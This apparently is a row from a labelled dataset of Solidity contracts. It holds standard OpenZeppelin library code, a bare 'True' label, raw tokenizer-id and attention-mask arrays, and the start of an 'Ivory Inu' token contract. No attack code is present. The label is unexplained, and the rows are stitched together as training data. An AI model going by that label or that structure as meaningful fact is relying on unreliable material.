* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/cryptography/draft-EIP712.sol)
pragma solidity ^0.8.0;
import "./ECDSA.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
address private immutable _CACHED_THIS;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_CACHED_THIS = address(this);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../Strings.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1016,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
2581,
17465,
1013,
29464,
11890,
2581,
17465,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
19888,
9888,
1013,
4433,
1011,
1041,
11514,
2581,
12521,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
8785,
1013,
3647,
18900,
2232,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
3229,
1013,
2219,
3085,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
2358,
6820,
16649,
1013,
4372,
17897,
16670,
13462,
1012,
14017,
1000,
1025,
12324,
1000,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
21183,
12146,
1013,
24094,
1012,
14017,
1000,
1025,
3206,
13433,
11439,
19312,
9153,
6834,
2003,
1041,
11514,
2581,
12521,
1010,
2219,
3085,
1063,
2478,
4372,
17897,
16670,
13462,
2005,
4372,
17897,
16670,
13462,
1012,
4769,
13462,
1025,
2478,
4372,
17897,
16670,
13462,
2005,
4372,
17897,
16670,
13462,
1012,
21318,
7666,
3388,
1025,
2478,
24094,
2005,
24094,
1012,
4675,
1025,
29464,
11890,
11387,
13862,
1027,
29464,
11890,
11387,
1006,
1014,
2595,
2546,
2692,
2581,
2063,
2575,
2475,
3207,
2575,
16703,
14526,
27814,
2063,
2487,
2094,
2692,
26187,
22907,
2683,
16147,
2094,
2683,
19961,
2094,
2581,
19481,
19961,
2278,
16147,
2629,
1007,
1025,
2358,
6820,
6593,
8406,
16409,
12162,
22648,
2102,
1063,
22017,
2140,
3161,
1025,
29464,
11890,
2581,
17465,
6013,
1025,
1065,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
4769,
1027,
1028,
4372,
17897,
16670,
13462,
1012,
21318,
7666,
3388,
1007,
1007,
4769,
13122,
15166,
11927,
11045,
3619,
13462,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
21318,
3372,
1027,
1028,
4769,
1007,
1007,
3206,
18715,
18595,
11927,
9541,
7962,
2121,
1025,
12375,
1006,
4769,
1027,
1028,
12375,
1006,
21318,
3372,
1027,
1028,
21318,
3372,
1007,
1007,
3206,
18715,
18595,
11927,
28696,
8126,
7292,
9153,
8737,
1025,
12375,
1006,
4769,
1027,
1028,
8406,
16409,
12162,
22648,
2102,
1007,
2270,
8311,
1025,
12375,
1006,
4769,
1027,
1028,
24094,
1012,
4675,
1007,
4070,
2669,
2239,
3401,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
2270,
4070,
3406,
8523,
2102,
24415,
7265,
26677,
14428,
9153,
8737,
1025,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
1007,
2270,
4070,
3406,
8523,
2102,
24415,
7265,
4213,
20048,
1025,
4372,
17897,
16670,
13462,
1012,
4769,
13462,
3161,
8663,
6494,
16649,
1025,
4769,
1035,
3696,
6906,
14141,
8303,
1025,
2724,
8406,
1006,
21318,
3372,
19204,
3593,
1010,
4769,
3206,
4215,
16200,
4757,
1010,
4769,
3954,
1007,
1025,
2724,
4895,
9153,
3489,
1006,
21318,
3372,
19204,
3593,
1010,
4769,
3206,
4215,
16200,
4757,
1010,
4769,
3954,
1007,
1025,
2724,
10632,
1006,
4769,
3954,
1010,
21318,
3372,
2512,
3401,
1010,
21318,
3372,
3815,
1007,
1025,
16913,
18095,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
/*
Ivory Inu -> $IVORY
Telegram: https://t.me/ivoryinutoken
/$$$$$$ /$$$$$$
|_ $$_/ |_ $$_/
| $$ /$$ /$$/$$$$$$ /$$$$$$ /$$ /$$ | $$ /$$$$$$$ /$$ /$$
| $$| $$ /$$/$$__ $$ /$$__ $$| $$ | $$ | $$ | $$__ $$| $$ | $$
| $$ \ $$/$$/ $$ \ $$| $$ \__/| $$ | $$ | $$ | $$ \ $$| $$ | $$
| $$ \ $$$/| $$ | $$| $$ | $$ | $$ | $$ | $$ | $$| $$ | $$
/$$$$$$ \ $/ | $$$$$$/| $$ | $$$$$$$ /$$$$$$| $$ | $$| $$$$$$/
|______/ \_/ \______/ |__/ \____ $$ |______/|__/ |__/ \______/
/$$ | $$
| $$$$$$/
\______/
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
